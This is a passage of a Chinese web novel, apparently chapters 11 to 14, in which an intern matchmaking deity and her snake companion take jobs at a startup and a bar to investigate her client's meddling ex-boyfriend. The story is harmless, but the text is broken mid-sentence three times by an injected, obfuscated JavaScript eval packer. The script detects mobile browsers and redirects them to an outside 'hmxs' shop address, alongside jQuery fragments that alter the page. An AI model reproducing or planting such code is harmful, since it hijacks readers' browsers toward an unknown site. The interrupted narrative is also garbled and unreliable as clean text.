后面一长串的格式条款和注意事项,桃喜宁直接略过。她的目光锁定了最关键的那一行: 【批复状态:已批准。】 “太好了!”她用力握了握拳,连日来悬着的心终于落地。 敖翔探过头,看着屏幕上那行字,整条蛇也放松下来,软绵绵地搭在桌沿。 “总算批了。不过这个不得影响科里日常工作是什么意思?” “意思就是,我在外勤期间,科里的日常工作,比如红线申请,我还是得在移动设备上接着牵。” 桃喜宁一边解释,一边已经关掉了系统界面,迅速打开了另一个文档。 屏幕上,一个新的文档被创建,标题是:“个人简历”。 敖翔看着桃喜宁十指如飞地在键盘上敲击,姓名、年龄、教育背景……一行行标准化的信息被快速填充进表格模板里。 “你这简历,准备得还挺全。” “仙界给人界办事网点的员工,都统一安排了完整的身份背景资料。”桃喜宁头也不抬,手指依旧在键盘上飞舞。 “实习期间,身份就是在校大学生。等转正了,就会更新成办事网点的正式员工,有对应的工作单位。” 她侧过头,给肩头的敖翔递了一个“你懂的”眼神:“方便管理,也省得每次工作中和凡人对接都要现编。” “嗯嗯,我们也是。”敖翔点了点脑袋,随即整条蛇伸得更长,几乎要趴到屏幕上去看那些密密麻麻的字。 “不过……你这简历里,大学期间的成绩……” 他顿了顿,声音里带上了一丝明显的促狭。 “似乎,嗯,还有很大的进步空间啊?这是根据什么定的?总不能是随机生成的吧?” 桃喜宁敲击键盘的手指猛地一顿。 她飞快地瞥了一眼简历上那个实在不算美观的数字,脸颊泛起了淡淡的红晕。 没有回答,只是加快了手上的动作,迅速将简历检查了一遍,然后点击打印。 打印机发出嗡嗡的轻响,开始吐纸。 “这个嘛……不重要。”桃喜宁试图含糊过去,伸手去拿打印好的简历。 敖翔却没那么容易放过她。他灵活地从她肩头游到手臂,又顺着胳膊蹿到正在出纸的打印机旁,用小脑袋挡住她拿纸的手。 竖瞳里闪烁着不依不饶的好奇光芒:“说嘛说嘛。仙界应该不会随便给个低分……难道是根据你的某些……考核成绩?” 桃喜宁的脸更红了,伸手想把敖翔拨开。 “啊!我猜对了?难道真的是根据你参加仙界招录考试的成绩折算的?……”敖翔兴奋地整条蛇都立了起来。 “闭嘴!”桃喜宁终于忍无可忍,一把将打印好的简历从打印机里抽出来,快速对折,塞进一个文件夹里。 “成绩不代表一切!实践能力才是关键!再说,我们月老部的工作重点又不是考试!” 她越说声音越小,最后几乎成了嘀咕。 敖翔总算识趣地没有再追问下去,但还是发出了几声意味不明的、像是憋笑的嘶嘶声,蜷回她肩膀上,一抖一抖的。 桃喜宁甩甩头,勉强按下想把敖翔从肩膀上扯下来揉搓一番的念头。 毕竟眼下有更重要的事——几天后,得去白饴的公司面试。 说起来,她跟白饴在月老庙见过那么一次,虽然满打满算不到半天。 但是现在,桃喜宁只期望白饴——白总,能贵人多忘事。 ...... “你...我们是不是之前在哪里见过。”白饴手里拿着桃喜宁那份精心准备的简历,眉头微蹙,目光在纸面与桃喜宁的脸之间来回移动。 期望彻底破灭了。 桃喜宁内心泪流满面。好吧,产生这种期望本来就不太现实。 她立刻打起精神,换上标准的应答语气:“我现在课余时间在本市的月老庙兼职,您可能之前去参拜时正好遇见过我。只是庙里来往的人太多,我可能对您印象不深了。” 白饴身旁坐着上次在姻缘管理系统的画面里见过的男助理。 他原本坐得笔直,在听到“月老庙”三个字时,身体几不可察地向前倾了倾。 “桃喜宁……”白饴的手指轻轻划过成绩栏,停顿片刻,语气比刚才委婉了些。 “你的实践经历很丰富,不过……你这大学期间的成绩,似乎还有提升空间?” 来了。桃喜宁维持着得体的微笑,准备好的说辞流畅吐出:“是的,因为我一直坚持在校外兼职,积累实战经验。我个人认为,实践经历有时比理论知识更重要。” 她语气诚恳,眼神坚定,心里却在默默补充:在月老部的工作很忙的好吗!牵红线、防断线、写报告……就算真的在读大学,也没有工夫刷分啊! 白饴不置可否地点了点头,将简历翻到最后一页扫了眼,合上文件夹,双手交叠置于桌面。 “那么,桃同学,你对我们这样一家刚起步的创业公司,有什么具体的个人期望吗?或者说,你希望在这里获得什么?” 这是个非常标准的面试问题。 桃喜宁几乎不假思索,脱口而出:“我没有特别的个人期望。我就希望能多分担一些基础工作,让白总您能更轻松一些,把精力聚焦在更关键的事务上。” 她此行的唯一目标,就是近距离观察白饴,把那个影响她业绩的“工作第三者”掐灭在萌芽里。让白饴轻松,就是让红线稳固;红线稳固,就是考核无忧。 白饴明显愣了一下,沉默了数秒,似乎在消化这个过于实在的回答。 “你……这想法倒是挺独特。”她最终说道,嘴角微微动了一下,“很……务实。” 这话听起来像夸奖,又带着点难以言喻的微妙。 桃喜宁面不改色,微笑依旧:“应该的。” 白饴又打量了她几眼,随即拿起笔,在简历封面利落地做了一个记号。 “行。”她干脆地说,“你被录用了。不过创业公司岗位灵活,你可能需要随时支援其他同事,哪里需要就去哪里,能接受吗?” “完全接受。”桃喜宁点头,心下松口气。灵活才好,方便她全方位观察。 “那好,欢迎加入。明天来办入职手续。” 【没想到,你干活还挺熟练。】 入职一周后,敖翔盘在桃喜宁手腕上,看着她在公司里高效穿梭,忍不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962443|193254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住评价。 桃喜宁确实适应得极快。这家初创公司人少事杂,而她就是哪里需要往哪搬的砖头。 订餐、协调会议室、初筛简历,甚至修理卡纸的打印机……各种琐碎杂活她都能立刻上手,干得利索且毫无怨言。 【我师父上岸仙界后,后面仙界招录考试的形式接连改了好几轮。】桃喜宁一边快速调整着表格格式,一边传音闲聊,语气平淡。 【我自己摸索了好些年才考过。考过之前还是凡人,要吃要喝,就时不时下山打工。干得多了,杂活自然就熟了。】 她手下键盘的敲击声清脆而有节奏,仿佛在给这段话打拍子。 【原来如此。】敖翔若有所思,看着她熟练地为报告加上页眉页脚,调整行距。 “小桃,辛苦了。”旁边传来声音。 桃喜宁抬头,看见方守依——白饴那位男助理,拿着两袋零食走过来,将一袋放在她桌上:“尝尝,公司新品。” “谢谢方助理!”桃喜宁没客气,接过来拆开就吃。味道确实不错。 她也是面试前才发现,白饴的公司就是月老庙附近那家挂着“饴”字招牌的零食店。 “不客气,应该的。”方守依靠在隔壁工位的隔断上,自己也拆了一袋,语气诚恳,“说实话,你来了之后我轻松多了。这些琐事你处理得又快又好,我终于能多跟跟业务了。” 机会来了。 桃喜宁眼珠一转,状似随意地接话:“方助理过奖了,都是分内事。我多干点,白总是不是也能稍微轻松点?比如……有点工作时间以外的个人时间?” 她问得小心翼翼,带着新员工对老板朴素的关切。 方守依搓了搓下巴,看着桃喜宁,眼神变得有些玩味:“你还真是……特别关心白总啊?” 他忽然往前凑近了些,压低声音:“难道……” 【凑这么近是想干嘛!】敖翔的传音毫无预兆地炸开,带着一股莫名的警惕与焦躁,音量震得桃喜宁耳膜一嗡。 “难道,其实你暗恋白总?”方守依挤眉弄眼,终于说出了他的重大发现。 桃喜宁:“……”内心一片平静,甚至有点想笑。 完全没有。 事实上,她双手双脚支持白总现在的恋情,堪称最忠诚的CP粉头,日夜盼望白总能从工作中解脱,好去跟林渊傅双宿双飞,让她这根红线业绩稳如泰山。 桃喜宁在心里流畅地刷过一排弹幕,手上却连连摆动。 “没有没有,方助理你别开玩笑了。我只是觉得白总年纪轻轻就能创业,是我的榜样。我就是想多分担点,让她别太累。” 这话说出来,她自己听着都觉得透着股不真实的奉献感。 果然,“噗嗤——” 方守依没忍住,直接笑出了声,肩膀直抖:“哈哈哈……逗你的,看把你紧张的。” 笑了好一会儿,他才抹抹眼角:“再说了,就算你真暗恋白总也没用。白总啊,可是有恋人的。” 来了! 桃喜宁精神一振,凑得更近了些,完全没留意手腕上敖翔正暗暗使力往后拽她。 “白总的恋人,一定很优秀吧?他们感情应该很好?” “额……还……还行吧。他们两个都挺忙的。”方守依嘴角的弧度消失了,话说得有些含糊。 12. 第12章 “感情还行。听那口气,就是不太行了。” 工作间隙,桃喜宁躲进了空无一人的公司茶水间,反手轻轻带上了门,将办公区的嘈杂隔绝在外。 她长舒一口气,这才掏出自己的平板电脑,点开了姻缘管理系统。 界面加载出来后,上面清晰地显示着她名下目前负责的姻缘。 “哎,”桃喜宁忍不住叹了口气,肩膀都垮了下来。 “为了月老的业绩才出外勤,来白饴的公司打工,在打工的间隙还要操心月老的业绩,妥妥的牛马没跑了。” 这份在白饴公司的工作,不过是她作为实习月老为了近距离观察和守护任务目标——老板白饴——而找的掩护。 只是没想到,双线作战竟如此消耗心神。 一直盘踞在她肩头的敖翔,此刻小脑袋歪了歪:“你最近不是又牵成几对吗?我看你前几天还挺高兴,怎么这会儿业绩指标还只是在合格线附近晃悠?” 桃喜宁又叹了口气,手指烦躁地在那屏幕上点了点,随即迅速关闭了姻缘管理系统。 眼不见心不烦。 “别提了。都是刚牵上红线没多久,两方各自专注自己的工作,要么需要妥协放弃工作但是双方都不愿意,要么干脆没有时间在一起感情直接淡了,反正就是都分手了。” 她揉了揉眉心,“我这才工作了没多久,就开始理解那位前辈辞职时的心态了。这也太没成就感了。” 敖翔凑近平板电脑已经暗下去的屏幕:“所以就是,你忙来忙去,到现在为止,算是白忙了?” 桃喜宁伸出去准备关平板的手停在半空,随即猛地转向,一把捏住了敖翔的嘴。 她脸上挤出近乎狰狞的笑容,牙齿咬得咯咯响:“给你个机会,再说一次。谁白忙了?我那是在积累经验,是在为未来爆发做准备!懂不懂?” “唔唔唔……”敖翔在空中胡乱摆动,发出模糊的抗议。 就在这时,茶水间的门“咔哒”一声被推开了。 拿着杯子的方守依走了进来,一眼就看到了桃喜宁和她那略显古怪的姿势:“小桃,你在这里啊?白总找你。” 他的目光落在桃喜宁抬起的手腕附近:“你手上拿着什么,好像在动来动去的?” 桃喜宁心中一惊,手上动作快过思考。 她立刻松开敖翔的嘴,手腕一翻一绕,动作流畅地将敖翔在自己的手腕上缠了两圈。 “啊,这个啊,”桃喜宁举起手腕,故作自然地晃了晃:“是最新款的智能运动手链,带震感提醒的。” 随之而来,她的脑中传来敖翔不满的传音【你又拿我当手链!这都第几次了!】 桃喜宁直接无视了脑中的呱噪。 她注意到方守依的脸色有些不对劲,不是平时那种熬夜加班的疲惫,更像是一种夹杂着无奈的焦虑。 她立刻决定转移话题,掌握主动权:“哎,方助理,你的脸色好像不太好。是不是最近没休息好?” “别提了。”方守依果然被带偏了注意力,他把杯子一放,使劲揉搓着自己的脸颊,仿佛想把满面的愁容搓掉。 “你前几天不是说学校有事,请假了没来吗?我们白总摊上事儿了,可把我给累坏了。” 白饴摊上事儿了?! 桃喜宁心中警铃大作。 现在这个时间点?难不成和她的红线有断裂风险有关? 她立刻精神抖擞,耳朵几乎要竖起来了,追问道:“事儿?什么事儿啊?严重吗?” 连她手腕上缠成“手链”的敖翔,都在不知不觉中悄悄转了一圈,小脑袋更凑近方守依的方向,显然也对这八卦……不,是重要情报,充满了兴趣。 “我跟你说啊……”方守依像是终于找到了倾诉对象,他压低了声音,营造出一种分享秘密的氛围。 恰在此时,茶水间外面响起了白饴急促的呼唤声:“小桃?桃喜宁?人呢?” 方守立刻住嘴,朝桃喜宁使了个眼色,示意她赶紧出去,“你先出去找白总吧,她这两天心情很不好,你小心点哦。” 哎,这早不叫晚不叫,偏偏在关键时候叫! 桃喜宁心里嘀嘀咕咕。 但是,身为员工的本能还是让她迅速调整表情,一边往茶水间外面走,一边扬声回应:“白总,我在这里!” 毕竟,不管是在仙界月老部实习,还是在人界公司打工,总得第一时间响应老板的召唤。 白饴就站在茶水间外的走廊上,双手抱臂,眉头微蹙,周身散发着低气压。 她看见桃喜宁出来,也没多废话,直接指了指公司入口处的接待区:“小桃,行政最近一直外出办事,你下午兼一下前台。” 白饴的公司规模不大,雇员加起来也就十来个,目前确实没有设置专门的前台岗位,通常由行政人员兼任。 “白总,您是指,我今天下午要一直待在前台?”桃喜宁确认道:“有什么需要特别注意的吗?”她试探性地问,希望能得到更多信息。 白饴的脸色明显又沉了几分,语气带着不容置疑的坚决:“如果有快递或者外卖送礼物来公司,一律拒收。” 她顿了顿,补充道,声音里透着一丝厌烦,“如果对方纠缠,或者实在推不掉,就直接扔出公司大门。” 到了下午,桃喜宁坐在前台的位置上,很快就明白了白饴那句“一律拒收”是什么意思。 刚过下午一点,就有一个接一个的快递小哥捧着各式各样的礼物出现在公司门口。 先是一个捧着一大束俗气又扎眼的玫瑰,接着又来一个抱着半人高的玩偶。到了后面,还送来了某个奢侈品牌的手袋。 为了执行白饴的命令,桃喜宁不得不和这些快递小哥们斗智斗勇。 她摆出最冷淡的表情,重复着“拒收,请退回”的话术。 然而这些快递小哥们显然也是经验丰富,各有各的招数: 有的身手矫健,放下礼物盒子转身就跑,速度快得反应不过来。 有的则开始卖惨,说什么“签收不了会被扣钱罚款”、“帮帮忙吧”,就差声泪俱下; 还有的则摆出“别为难,送货的”的无辜架势,硬是把东西往前台里面塞。 一番折腾下来,桃喜宁感觉比连着工作例会还累。 看着前台角落里堆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16967750|193254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着的几个碍眼的礼物盒子,她无奈地叹了口气。 “所以,最后还是得扔掉。”桃喜宁认命地找来一个最大号的黑色垃圾袋,动作算不上温柔地将那束玫瑰、那个玩偶、以及手袋,一股脑地塞了进去。 然后拖着这个沉重的、与周围格调格格不入的垃圾袋,乘坐电梯下到一楼,送到了大楼指定的垃圾集中点。 看着那袋的“垃圾”被丢弃在角落,桃喜宁拍了拍手上沾染的、并不存在的灰尘,心情有些复杂。 “哎,就这……”一直安静扮演手链的敖翔,终于忍不住发表评论,语气里带着明显的失望。 “上午听白饴那意思,看她那脸色,我还以为要出现短剧里那种千亿首富强势送礼的桥段了呢。结果就这?” 桃喜宁无奈地揉了揉额角:“你,一个因为拒绝家里安排的部门,所以被断供,不得不在我这儿蹭住蹭吃的同事。还好意思评价‘就这’?” “说说吧,你什么时候才能还我信仰值?” 敖翔的声音明显小了下去,带着点心虚嘀咕:“那……那还不是因为你今年的考核业绩还没达标,影响了我嘛……” 桃喜宁搓了搓耳朵,语气带着威胁:“你说什么?大声点?” 敖翔立刻连连摇头:“没什么没什么!我是说……刚才好像又有个快递小哥进去了!” …… 一下午的斗智斗勇结束,桃喜宁觉得自己身心俱疲。 而且从白饴离开公司前那依旧阴沉的脸色和紧绷的嘴角来看,这种“拒收礼物”的战斗,后面几天很可能还要持续上演。 “不行,就算我是仙,也遭不住这个。”回到自己的工位,桃喜宁单手托腮,盯着电脑屏幕,眉头紧锁。 “而且,虽然白饴没明说,但看这送礼的架势,明显就是个难缠的追求者……” “我给白饴牵的那根红线,眼看要有断裂的风险,搞不好就跟这个不知从哪儿冒出来的追求者有关。” 她回想起下午拒收礼物时,曾翻看过那些夹在礼物里的卡片。 卡片上无一例外写满了肉麻无比的情话,看得她鸡皮疙瘩掉一地,但关于送礼人的信息,却都只有同一个落款——“悭”。 对此,桃喜宁只想冲着天空翻个白眼,在心里大喊一句:有本事送礼,有本事倒是把名字写全啊! 要知道,实习月老在人界行动是有严格规定的,如果违反肯定会严重影响转正评估。 所以,即使她再想要探查凡人信息,也不能用那些容易被察觉仙人的身份方法。 “但是,直接去问白饴,白饴估计是不肯说的。”桃喜宁喃喃自语。 她的目光,不由自主地转向了自己的手腕。目光中夹杂着期许、期盼和毫不掩饰的“该你出力了”的意味。 “你别这样看着我!”敖翔在她手腕上微微绷直了,一副“预感到没好事但还是要豁出去”的样子。 “想要我干什么,直说!” 计划通! 桃喜宁的嘴角微微弯起,语气更是轻快:“简单。下次,再有快递小哥被派来送礼,你就悄悄跟着,查清楚这个“悭”到底是谁。” 13. 第13章 “我跟着那个快递小哥,可费了一番功夫才搞清楚。”敖翔用尾巴尖“啪啪”地拍着桃喜宁公寓里那张小桌子,竖瞳里满是忿忿不平。 “绕了好几个弯,最后才确认,送礼的叫葛悭。” “是是是,你辛苦了,我们敖翔最厉害了。” 桃喜宁盘腿坐在沙发上,手里拿着一包新开的零食——还是白饴公司的福利,非常识趣地抽出一根,递到敖翔嘴边,“来,这是你最喜欢的牌子,犒劳你的。” 敖翔一口叼住,三两口就吞了下去,含糊不清地说:“哼,这还差不多。” 尾巴拍打桌面的频率明显慢了下来。 桃喜宁又喂了敖翔一口,自己则拿起另一根,却没吃,只是用手指捻着,眉头微蹙,陷入了沉思。 白饴和林渊傅的红线出现了明确的断裂警示,是因为这个葛悭想跟白饴复合,从而干扰了既定的姻缘? 那……白饴内心深处,是不是也对这段旧情有所留恋呢? 就在她思绪纷飞之际,等不及投喂的敖翔,小身子一蹿,直接钻进了敞口的包装袋里,窸窸窣窣地大快朵颐起来,声音含混地补充着探听来的情报。 “哦对了,还有!葛悭刚听完给白饴送礼被拒收的情况,转头就打了一个电话,约人去酒吧喝酒,语气轻快得很,可不像为情所困的样子。” “酒吧?”桃喜宁捻着零食的手指一顿,眼睛微微亮起。 “那种地方,灯红酒绿的,人容易放松警惕,倒是个观察了解一个人真实面目的好地方。” 敖翔从包装袋里探出脑袋,嘴角还沾着零食屑:“我听他打电话那熟稔的劲儿,那个酒吧好像是他晚上常去,基本上一周至少要去个三四次呢,老客户了。” 桃喜宁若有所思地搓了搓下巴,一种熟悉的、又要开始折腾的预感浮上心头:“看来……我又要多打一份工了……” …… 几天后,桃喜宁站在酒吧后门通道里,面对着眼神精明的酒吧老板。 “在校大学生,希望晚间来酒吧勤工俭学……”酒吧老板上下打量着桃喜宁,目光带着几分怀疑。 “小姑娘,我们这里晚间营业经常要到凌晨两三点,你白天还要上课吧,这日夜颠倒的,吃得消吗?可别干两天就跑了!” “没问题,老板。我精力很好,绝对吃得消。” 桃喜宁挺直腰板,脸上挤出充满朝气的笑容,心里却在默默流泪—— 她可是实习月老,妥妥的准仙人,不需要像凡人那样睡觉休息啊! 结果全用来打多份工了……呜呜呜,这天选打工牛马的感觉真是越来越重了。 “那行吧,试用期三天。”酒吧老板终于松口,但随即搓了搓手指。 “不过,我们这里的基本薪水不高,主要收入可是要看酒水提成的。卖的越多,赚得越多,懂吗?机灵点。” “明白!谢谢老板!”桃喜宁乖巧应答。 第二天晚上,桃喜宁刚一上工,正跟着熟悉流程、记忆酒水价格的时候,她等待的目标就出现了。 “小桃,小桃!”一个服务员急匆匆地跑来,拍了拍她的肩膀。 “我这边忙不过来了,预约了三号包厢的客人已经到了,你去接待一下吧,点单、送酒水什么的。” “哦,好的,我这就去。”桃喜宁边整理着刚上身的制服,边朝着包厢的方向走去。 刚走出几步,身后那两个服务员的轻声交谈,一字不差地传到了她的耳朵里。 “诶?三号包厢那边不是来了群富少吗?你让这个新来的去?把赚钱的机会给她啊?” “什么一群富少?常来的,我可熟了。基本都是围着捧哏的小弟,唯一一个看起来像样、负责买单的,钱花得可抠搜了,每次点的都是基础款。” “不去不去,我宁可去其他包厢碰碰运气,说不定还能遇到真豪爽的。” 桃喜宁听归听,脚步却是不停,已经走到了包厢的门口。 里面隐约传来喧闹的音乐声和笑闹声。她深吸一口气,手上用力,包厢那厚重的门应声而开。 刹那间,震耳欲聋的电子音乐,以及肆无忌惮的嬉笑吵嚷声扑面而来。 桃喜宁被这场景震得动作一滞,下意识地松开了手——门“砰”地一声又关上了,将那片喧嚣重新隔绝。 【我是不是眼花了?】她立刻给敖翔传音【刚才坐在沙发最中间,被几个人敬酒的那个……是葛悭吧?】 敖翔的声音也带着点不确定:【应、应该是葛悭吧……我那天跟踪回来后,不是还特意从网上找到了他的公开照片给你看过吗?】 桃喜宁:“……”看来是葛悭过于规律的夜生活站在了她这边。 为了调查葛悭特意跑来酒吧做兼职,结果刚一上班,人就直接送到眼前了? 呵呵,赞! 机会不能错过。 桃喜宁立刻挂上微笑,再次用力推开了包厢门,步履从容地走了进去。 她径直走到主位附近,将手中的酒水单双手递向坐在中间的葛悭:“晚上好,请问各位客人需要点什么吗?” 她的进入让包厢内的喧闹稍微安静了一瞬,几乎所有人的目光都齐刷刷地跟着她,最终落在了葛悭身上。 葛悭带着几分倨傲接过酒水单,手指在上面随意点了七八样——价格确实如刚才那服务员所说,不算昂贵。 “先这些,不够一会儿再说。” “好的,请稍等。”桃喜宁瞄了一眼单子,心中了然。 她迅速退出去,没多久就端着酒水回来。 之后,桃喜宁便借着添酒、收拾空瓶等服务的名头,如同一个安静的背景板,默默站到了包厢角落里光线昏暗的位置,耳朵却全力捕捉着那边的每一句对话。 起初,葛悭还和其他人一样,喝酒、唱歌、玩骰子,气氛热烈。 几轮酒下肚,大约是上了头,他说话的声音越来越大,舌头也有些打结,开始拉着旁边的人吐槽起来。 “你们说,我这次是不是够诚意了?” 葛悭猛地灌了一口,重重地把杯子顿在桌上,发出不小的声响,“玫瑰、玩偶、包包……我都送了!她白饴还不肯跟我复合,是不是太矫情了!” 周围那些明显是跟着他混、蹭吃蹭喝的男男女女立刻七嘴八舌地附和。 在一片阿谀奉承中,葛悭的倾诉欲更强了,断断续续地,结合着那些捧哏们偶尔的补充和吹捧,桃喜宁逐渐拼凑出了事情的轮廓。 原来,白饴以前是葛悭的助理,后来成了他女朋友。 公司基 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973086|193254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本都是白饴在替他兜着。 白饴能干,把公司打理得井井有条,葛悭就开始安心出去玩。到了后来,他酒吧来得比公司都勤。 “就为这个,她就要分手?扔下我的公司不管,自己跑去当什么老板!” 葛悭一拍桌子,震得酒杯乱晃,“转头林渊傅的就跟她表白了是吧?行啊!” 他哈哈一笑:“现在好了,那俩工作狂,见面都没空!正好,我也来趁虚而入一把!” 桃喜宁在角落里听得越多,心里的火气就越是噌噌地往上冒。 这是想复合啊,还是找回助理啊?! 搞得她辛辛苦苦牵好的、属于白饴和林渊傅的红线都出现了断裂警示!平白给她增加工作量! 桃喜宁气得下意识撸起了并不存在的袖子,往前迈了半步,想要上去让葛悭清醒清醒。 【冷静!冷静!】敖翔立刻用力拉了拉她的手腕,传音急促响起 【“看看墙角!还有天花板!都是摄像头!高清的!想想考核和转正!想想信仰值的罚款!】 桃喜宁动作一僵,硬生生止住了脚步。是啊,罚款扣不起、考核必须过…… 就在这时,那边被众人捧得飘飘然的葛悭颇为豪气地一挥手:“行了!今天高兴!全场所有的消费,全由我买单!” 周围顿时响起一片更热烈的起哄和恭维声。 桃喜宁看着这一幕,又想起刚才进门时那两个服务员的对话——“唯一一个看起来像样、负责买单的,钱花得可抠搜了。” 她原本紧绷的嘴角,忽然勾起了一抹弧度。 以前抠搜? 那今天,就让葛悭把以前没花的,一起多花出去一些!也算是替白饴,替自己出出气! …… 喧嚣散尽,天光已微微发亮。酒吧打烊后的寂静,与几个小时前的喧闹形成了鲜明对比。 葛悭在包厢的沙发上,被酒吧老板礼貌却坚持地叫醒。 他揉了揉因宿醉而胀痛的额头,眼神还有些迷茫。 酒吧老板脸上微笑着递上一张长长的、打印得密密麻麻的账单:“这是您昨晚的消费明细,请您过目。您昨晚说了,由您统一买单。” 葛悭打着哈欠,漫不经心地接过账单,目光随意地扫过最后的总金额。 下一秒,他的哈欠卡在了喉咙里,一下睡意全无,猛地从沙发上弹了起来,声音都变了调。 “多、多少?!你们是不是搞错了?!怎么可能这么多!” 葛悭不敢置信地用手指着账单上的数字,指尖都在发抖,开始逐项仔细查看。 “这、这……我们点这个了吗?还点了三瓶?!还有这些……这些……怎么全是最贵的!”“还点了这么多!我昨天明明只点了……” 他努力回想,却只记得有个特别殷勤的女服务员,一次次微笑着端着各种酒水进来,嘴里好像还说着“请大家尽兴”之类的话。 酒吧老板保持着微笑,语气却不容置疑。 “所有酒水都是经过您确认后,才开瓶并送入包厢的。我们都有视频记录。您看……” 葛悭看着那长长的账单,又看看周围空荡荡的、只剩下空酒瓶的包厢,脸上一阵青一阵白,最终,在酒吧老板的注视下,他咬着牙,颤抖着手伸向钱包。 14. 第14章 桃喜宁从酒吧出来时,已经是深夜了。 晚风拂过她的脸颊,吹散了些许酒吧里残留的气息。 “你这酒水提成不要了?今天你可让葛悭消费了好多呢。”敖翔蹲在她肩头,回望着酒吧的方向。 “哎呀,应聘的时候答应酒吧老板不能干几天就不干了,结果第一天结束就不干了,不得补偿一下么?” 桃喜宁伸手点点敖翔的小脑袋“否则他还能这么痛快让我辞职?” 她蹦蹦跳跳,踩着人行道上的落叶往前走,发出的声音在空旷的街道上格外清晰。 “再说了,葛悭第二天酒醒了发现被套路了,他认账也麻烦。”“干脆送给酒吧老板,他肯定会想办法去把钱收到的。” “你还挺机灵...”敖翔不再回望酒吧,将脑袋转向前方,用尾巴轻轻拍了拍桃喜宁的肩膀,像是无声的赞许。 ...... 回到公寓时,已经接近凌晨。 “这时候当仙的好处就体现出来了。”桃喜宁突然叉腰,对着空荡荡的客厅哈哈大笑,“可以连轴转,天亮后立即去上班!完全不需要睡觉!” 她的笑声在寂静的夜里显得格外突兀,连桃喜宁自己都吓了一跳,赶紧捂住嘴。 “你真的这么想?”敖翔从她肩头滑下来,落在沙发扶手上,用尾巴支着脑袋,无情戳破她的自我安慰。 桃喜宁的肩膀瞬间垮了下来,整个人瘫倒在沙发上:“呜呜,完全没有这样想...下班时间都用掉了,想想好亏啊。” 她突然从沙发上弹坐起来,“对了!要不趁着现在有限的时间放松一下,我们一起看看短剧?顺便洗洗今晚被污染的眼睛?” 桃喜宁拿起手机,解锁屏幕,凑近敖翔。手机的光映在她脸上,映出一双亮晶晶的眼睛。 “切,谁要看那种东西...”敖翔嗤之以鼻,别过脑袋,“剧情狗血,表演浮夸,有什么好看的。” “不看算了,我自己看。”桃喜宁也不强求,重新瘫回沙发上,找了个舒服的姿势,开始浏览短剧平台。 客厅里安静下来,只有手机里偶尔传出的背景音乐和片段对白。 敖翔高昂着脑袋,一副“我才不感兴趣”的模样。 但随着时间的推移,随着桃喜宁那里不断传出各种夸张的台词和戏剧性的音效,他的脑袋开始不自觉地朝她的方向靠近。 一点,再一点。 终于,敖翔悄无声息地从沙发扶手上滑下来,挪到桃喜宁身边,挨着她的手臂。 “不是说不看短剧吗?”桃喜宁斜眼看他,嘴角勾起揶揄。 敖翔一瞬不瞬地盯着手机屏幕,竖瞳随着画面的切换而移动:“我只是...批判性地观看。对,批判性地。” 桃喜宁忍住笑,没再戳穿他。 几部短剧眨眼间就放完了,节奏快得让人应接不暇。 “下一部看什么?”桃喜宁滑动着屏幕。 “看这部!”她突然手指一顿,点在一张海报上,“男女主角合眼缘!你看这女主,长得挺好看的,男主也...” “不要。”敖翔用尾巴戳了戳屏幕的另一处,“看这部,这部名字好听。” “那我们石头剪刀布来决定。”桃喜宁提出解决方案。 “啊,你欺负我没有手,不能出。”敖翔不干了,开始在沙发上撒泼打滚,细长的身体扭来扭去,最后干脆一不做二不休,直接缠住了手机屏幕。 “我不管!我就要看这部!” 大有如果不让他看,就什么也别想看的架势。 “行行行,你来选。”桃喜宁举手投降,无奈地笑,“真是服了你了。” “哼哼,还不是要让着我~~~”敖翔整条蛇都波浪状抖动起来,嘚瑟尽显,鳞片在手机屏幕的光照下闪闪发光。 他松开手机,用尾巴尖精准地点开了选中的短剧。 片头音乐响起,配上画面,倒是颇有几分意境。 然而,好景不长。 播放出来的内容让一人一蛇同时沉默了。 手机屏幕里,正上演着似曾相识的戏码: 总裁男主不是在会所娱乐,就是在餐厅消费,偶尔出现在公司,也是对着秘书女主——他那位正牌女友——下发一连串模糊的指令。 “这个谈判,你替我去。” “家里水管坏了?你找人来修一下。” 日复一日,公司的大小决策、合同细则、甚至男主家里的物业费账单,全堆到了女主的办公桌上。 而她加班至深夜时,男主发来的消息却是:“别忘了明早给我带那家很难排的早餐。” 更窒息的是薪资谈判。 女主鼓起勇气提出加薪,男主却用一种混合着惊讶与失望的眼神看着她:“你为我做这些,是在为我们的未来打拼啊。谈钱?多伤感情!” 公寓里静悄悄的,只有这些台词不断回响: “这些事,你不做谁做?难道要我亲自来?” “把感情当筹码,你什么时候变得这么俗气了?” 桃喜宁看着看着,脸色逐渐沉了下来。 本来随意放在沙发扶手上的手掌越收越紧,柔软的沙发扶手被捏得皱成一团。 “你不觉得,这剧情、这台词很熟悉吗?”她的声音像是从牙缝里挤出来的。 